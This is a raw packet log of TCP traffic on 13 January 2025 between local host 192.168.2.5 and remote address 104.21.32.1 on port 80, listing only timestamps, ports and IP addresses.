Jan 13, 2025 09:22:25.925074100 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925087929 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925117970 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925127029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925162077 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925195932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925203085 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925231934 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925266981 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925276041 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925316095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925319910 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925353050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925360918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925388098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925393105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925420046 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925426960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925458908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925461054 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925496101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925528049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925537109 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925565004 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925599098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925607920 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925635099 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925637960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925669909 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925705910 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925713062 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925739050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925776005 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925781012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925810099 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925817013 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925847054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925880909 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925890923 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925915956 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925939083 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925950050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925956964 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.925986052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.925992012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926019907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926053047 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926063061 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926086903 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926115036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926120996 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926137924 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926155090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926168919 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926192045 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926225901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926244974 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926261902 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926291943 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926301003 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926307917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926338911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926340103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926373005 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926378965 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926409960 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926428080 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926443100 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926453114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926479101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926516056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926527023 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926551104 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926584959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.926589966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.926630020 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.003420115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003451109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003503084 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003504038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.003565073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003596067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.003599882 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003618002 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.003633976 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003640890 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.003670931 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003710985 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.003717899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.003760099 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.018609047 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018644094 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018677950 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018697023 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.018711090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018728971 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.018754005 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.018779039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018819094 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018855095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018866062 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.018889904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018933058 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.018940926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018975973 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.018982887 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019011021 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019058943 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019062996 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019129038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019146919 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019162893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019172907 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019196987 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019197941 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019227982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019241095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019262075 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019268036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019299984 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019341946 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019345999 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019382954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019387960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019417048 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019453049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019464016 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.019484043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.019527912 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021501064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021531105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021576881 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021637917 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021673918 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021707058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021720886 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021742105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021748066 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021781921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021796942 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021836042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021852016 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021882057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021895885 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021915913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.021922112 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021954060 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.021981001 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022015095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022021055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022051096 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022056103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022085905 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022089958 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022123098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022126913 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022156954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022166014 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022193909 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022237062 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022593975 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022639036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022639990 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022675037 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022691011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022725105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022728920 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022759914 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022795916 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022804976 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022805929 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022855043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022887945 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022895098 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022908926 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022923946 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.022927046 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022964954 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.022984982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023036003 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023041964 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023067951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023086071 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023117065 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023129940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023164988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023171902 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023200989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023201942 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023236036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023269892 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023278952 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023303986 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023350000 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023356915 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023394108 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023399115 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023428917 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023462057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023464918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023514032 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023555040 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.023561001 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023575068 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.023596048 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025250912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025284052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025310993 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025317907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025321007 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025352955 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025362968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025408030 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025438070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025440931 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025446892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025476933 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025507927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025521040 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025563002 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025567055 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025602102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025629044 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025635958 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025636911 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025669098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025702953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025703907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025710106 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025736094 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025749922 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025768995 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025806904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025811911 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025836945 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.025865078 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.025887012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026072025 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026218891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026233912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026263952 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026276112 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026302099 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026305914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026341915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026359081 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026390076 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026401043 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026423931 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026441097 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026474953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026485920 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026506901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026521921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026547909 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026568890 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026603937 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026637077 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026653051 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026670933 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026674032 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026721954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026756048 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026772022 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026786089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026798010 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026819944 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026830912 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026868105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026875973 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026906013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026920080 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.026941061 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026973963 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.026978970 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027004957 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027045012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027056932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027091980 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027124882 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027132034 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027160883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027173042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027193069 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027226925 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027240038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027262926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027297020 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027311087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027348995 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027354956 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027384043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027419090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027419090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027430058 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027453899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027489901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027503014 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027523994 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027563095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027565002 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027597904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027636051 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027642012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027666092 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027697086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027709007 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027733088 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027765989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027772903 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027810097 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027821064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027848959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.027856112 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.027890921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.095849991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.095907927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.095915079 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.095942020 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.095953941 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.095995903 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.096030951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.096035957 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.096065998 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.096071005 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.096102953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.096108913 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.096138000 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.096144915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.096173048 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.096179008 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.096215963 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.110315084 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.110374928 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.110418081 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.110449076 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.110470057 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.110488892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.110505104 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.110562086 CET	80	49865	104.21.32.1	192.168.2.5
